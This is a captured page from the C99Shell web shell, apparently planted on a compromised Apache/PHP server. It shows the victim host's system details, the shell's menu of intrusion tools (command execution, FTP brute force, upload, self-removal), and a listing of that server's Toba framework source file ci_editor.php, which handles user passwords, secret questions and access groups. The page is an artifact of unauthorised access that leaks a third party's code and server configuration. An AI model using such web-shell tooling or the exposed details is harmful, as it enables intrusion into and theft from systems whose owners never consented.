!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/proyectos/toba_usuarios/php/usuarios/   drwxr-xr-x
Free 14.74 GB of 61.93 GB (23.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ci_editor.php (8.44 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

class ci_editor extends toba_ci
{
    const 
clave_falsa 'xS34Io9gF2JD';                    //La clave no se envia al cliente
    
    
protected $s__proyecto;
    protected 
$s__usuario;

    
    function 
ini()
    {
        
toba::solicitud()->set_autocomplete(false);    //Evita que el browser quiera guardar la clave de usuario
    
}
    
    function 
datos($tabla)
    {
        return 
$this->controlador->dep('datos')->tabla($tabla);
    }
    
    function 
limpiar_datos()
    {
        unset(
$this->s__proyecto);
    }
    
    function 
conf()
    {
        if (
$this->controlador()->dep('datos')->esta_cargada()) {
            
$usuario $this->datos('basica')->get();
            
$this->s__usuario $usuario['usuario'];
            
$desc 'Usuario: <strong>' texto_plano($usuario['nombre']) . '</strong>';
            
$this->pantalla()->set_descripcion($desc);
            
$this->dep('basica')->ef('usuario')->set_solo_lectura(true);
        } else {
            
$this->controlador->pantalla()->eliminar_evento('eliminar');
        }
    }
    
    function 
conf__proyecto()
    {
        if (!isset(
$this->s__proyecto)) {
            
$this->pantalla('proyecto')->eliminar_dep('form_proyectos');    
        }
    }

    
//---- Info BASICA -------------------------------------------------------

    
function evt__basica__modificacion($datos)
    {
        if (
$datos['clave'] == self::clave_falsa ) {
            unset(
$datos['clave']);    
        } else {                        
//Chequeamos que la composicion de la clave sea valida            
            
$largo_clave $this->get_largo_pwd();
            
toba_usuario::verificar_composicion_clave($datos['clave'], $largo_clave);
        }
        
        if (! isset(
$datos['autentificacion'])) {
            
$datos['autentificacion']  = apex_pa_algoritmo_hash;
        }
        
        
$this->datos('basica')->set($datos);
    }

    function 
conf__basica($form)
    {
        
$datos $this->datos('basica')->get();
        if (isset(
$datos)) {
            
$datos['clave'] = self::clave_falsa;
        }

        
$largo_clave $this->get_largo_pwd();        
        
$form->ef('clave')->set_expreg(toba_usuario::get_exp_reg_pwd($largo_clave));
        
$form->ef('clave')->set_descripcion("La clave debe tener no menos de $largo_clave caracteres, entre letras mayusculas, minusculas, numeros y simbolos");
        return 
$datos;
    }

    
//---- Asociacion a PROYECTOS -------------------------------------------------

    
function evt__proyecto__salida()
    {
        
$this->datos('proyecto')->resetear_cursor();        
    }

    function 
evt__cuadro_proyectos__seleccion($seleccion)
    {
        
$this->s__proyecto $seleccion['proyecto'];
    }
    
    function 
conf__cuadro_proyectos($componente)
    {    
        
$proyectos consultas_instancia::get_lista_proyectos();
        foreach (
$proyectos as $id => $proyecto) {
            
$grupos_acceso $this->datos('proyecto')->get_filas(array('proyecto' => $proyecto['proyecto']));
            
$grupos = array();
            
//-- Perfil funcional -------------------------
            
foreach ($grupos_acceso as $ga) {
                
$grupos[] = $ga['grupo_acceso'];
            }
            
$proyectos[$id]['grupos_acceso'] = empty($grupos) ? '<span style="color:gray">-- Sin Acceso --</span>' implode(', '$grupos);
            
//-- Perfil datos -----------------------------
            
$perfil_datos $this->datos('proyecto_pd')->get_filas(array('proyecto' => $proyecto['proyecto']));
            if (
$perfil_datos) {
                
$proyectos[$id]['perfil_datos'] = $perfil_datos[0]['perfil_datos_nombre'];
            } else {
                
$proyectos[$id]['perfil_datos'] = '&nbsp;';
            }
        }
        
$componente->set_datos($proyectos);
    }

    function 
evt__form_proyectos__modificacion($datos)
    {        
        
//-- Perfil funcional -------------------------
        
$id $this->datos('proyecto')->get_id_fila_condicion(array('proyecto'=>$this->s__proyecto));
        foreach (
$id as $clave) {
            
$this->datos('proyecto')->eliminar_fila($clave);
        }
        
$fila = array();
        
$fila['proyecto'] = $this->s__proyecto;
        
$fila['usuario'] = $this->s__usuario;
        foreach (
$datos['usuario_grupo_acc'] as $id=>$grupo_acceso) {
            
$fila['usuario_grupo_acc'] = $grupo_acceso;
            
$this->datos('proyecto')->nueva_fila($fila);
        }
        
//-- Perfil datos -----------------------------
        
$id $this->datos('proyecto_pd')->get_id_fila_condicion(array('proyecto'=>$this->s__proyecto));
        if ( isset(
$datos['usuario_perfil_datos']) ) {
            
$fila = array();
            
$fila['proyecto'] = $this->s__proyecto;
            
$fila['usuario'] = $this->s__usuario;
            
$fila['usuario_perfil_datos'] = $datos['usuario_perfil_datos'];
            if (empty(
$id)) {
                
$this->datos('proyecto_pd')->nueva_fila($fila);
            } else {
                
$this->datos('proyecto_pd')->modificar_fila($id[0], $fila);
            }
        } else if (! empty(
$id)) {
            
//-- Si por pantalla no viene nada pero esta en la tabla hay que borrarlo
            
$this->datos('proyecto_pd')->eliminar_fila($id[0]);
        }
        
$this->limpiar_datos();
    }

    function 
evt__form_proyectos__baja()
    {
        
//-- Perfil funcional -------------------------
        
$id $this->datos('proyecto')->get_id_fila_condicion(array('proyecto' => $this->s__proyecto));
        foreach (
$id as $clave) {
            
$this->datos('proyecto')->eliminar_fila($clave);
        }
        
//-- Perfil datos -----------------------------
        
$id $this->datos('proyecto_pd')->get_id_fila_condicion(array('proyecto'=>$this->s__proyecto));
        if (!empty(
$id)) {
            
$this->datos('proyecto_pd')->eliminar_fila($id[0]);
        }
        
$this->limpiar_datos();
    }
    
    function 
evt__form_proyectos__cancelar()
    {
        unset(
$this->s__proyecto);
    }
    
    function 
conf__form_proyectos($componente)
    {
        if (isset(
$this->s__proyecto)) {
            
$datos = array();
            
$datos['proyecto'] = $this->s__proyecto;
                
//-- Perfil funcional -------------------------
            
$grupo_acc $this->datos('proyecto')->get_filas(array('usuario'=> $this->s__usuario'proyecto'=>$this->s__proyecto));
            if (empty(
$grupo_acc)) {
                
$componente->eliminar_evento('baja');
            }
            
            
$ga_seleccionados = array();
            foreach (
$grupo_acc as $i=>$ga) {
                
$ga_seleccionados[] = $ga['usuario_grupo_acc'];
            }
            
$datos['usuario_grupo_acc'] = $ga_seleccionados;
            
//-- Perfil datos -----------------------------
            
$perfil_datos $this->datos('proyecto_pd')->get_filas(array('usuario'=> $this->s__usuario'proyecto'=>$this->s__proyecto));
            if (
$perfil_datos) {
                
$datos['usuario_perfil_datos'] = $perfil_datos[0]['usuario_perfil_datos'];
            }
            
$componente->set_datos($datos);
        }
    }

    
//-----------------------------------------------------------------------------------
    //---- form_pregunta_secreta --------------------------------------------------------
    //-----------------------------------------------------------------------------------

    
function conf__form_pregunta_secreta(toba_ei_formulario_ml $form_ml)
    {
        
$datos $this->datos('pregunta_secreta')->get_filas();
        foreach (
$datos as $klave => $fila) {
            
$datos[$klave]['activa'] = ($datos[$klave]['activa'] == '1') ? 'SI' 'NO';
            
$datos[$klave]['pregunta'] = $this->desencriptar_datos($datos[$klave]['pregunta']);
            
$datos[$klave]['respuesta'] = $this->desencriptar_datos($datos[$klave]['respuesta']);
        }
        
$form_ml->set_datos($datos);
    }

    function 
evt__form_pregunta_secreta__modificacion($datos)
    {
        
$hay_alta false;
        
//Solo una de las preguntas tiene que estar activa.
        
foreach ($datos as $klave => $fila) {
            if (
$fila['apex_ei_analisis_fila'] == 'A') {
                
$datos[$klave]['activa'] = '1';
                
$hay_alta true;
            } elseif (isset(
$datos[$klave]['activa'])) {
                unset(
$datos[$klave]['activa']);
            }
            
$datos[$klave]['pregunta'] = $this->encriptar_datos($datos[$klave]['pregunta']);
            
$datos[$klave]['respuesta'] = $this->encriptar_datos($datos[$klave]['respuesta']);
        }
        if (
$hay_alta) {        //Si hay una fila nueva deshabilito las anteriores
            
$this->datos('pregunta_secreta')->set_columna_valor('activa''0');
        }
        
$this->datos('pregunta_secreta')->procesar_filas($datos);
    }
        
    
//---- Consultas ---------------------------------------------------
    
    
function get_lista_grupos_acceso_proyecto()
    {
        
$proyecto quote($this->s__proyecto);
        
$sql "SELECT     usuario_grupo_acc,
                        nombre,
                        descripcion
                FROM     apex_usuario_grupo_acc
                WHERE     proyecto = 
$proyecto;";
        return 
toba::db()->consultar($sql);
    }
    
    private function 
encriptar_datos($dato_original)
    {    
        
$clave toba::instalacion()->get_claves_encriptacion();        
        return 
base64_encode(mcrypt_encrypt(MCRYPT_BLOWFISH$clave['get'], $dato_originalMCRYPT_MODE_CBCsubstr($clave['db'], 08)));        
    }
    
    private function 
desencriptar_datos($dato_encriptado)
    {
        
$clave toba::instalacion()->get_claves_encriptacion();        
        return 
mcrypt_decrypt(MCRYPT_BLOWFISH$clave['get'], base64_decode($dato_encriptado), MCRYPT_MODE_CBCsubstr($clave['db'], 08));        
    }
    
    protected function 
get_largo_pwd()
    {
        if (isset(
$this->s__proyecto)) {
            
$largo_clave toba::proyecto($this->s__proyecto)->get_parametro('proyecto''pwd_largo_minimo'nullfalse);
        } else {
            
$largo_clave toba::instancia()->get_largo_minimo_password();
        }
        return 
$largo_clave;
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.792 ]--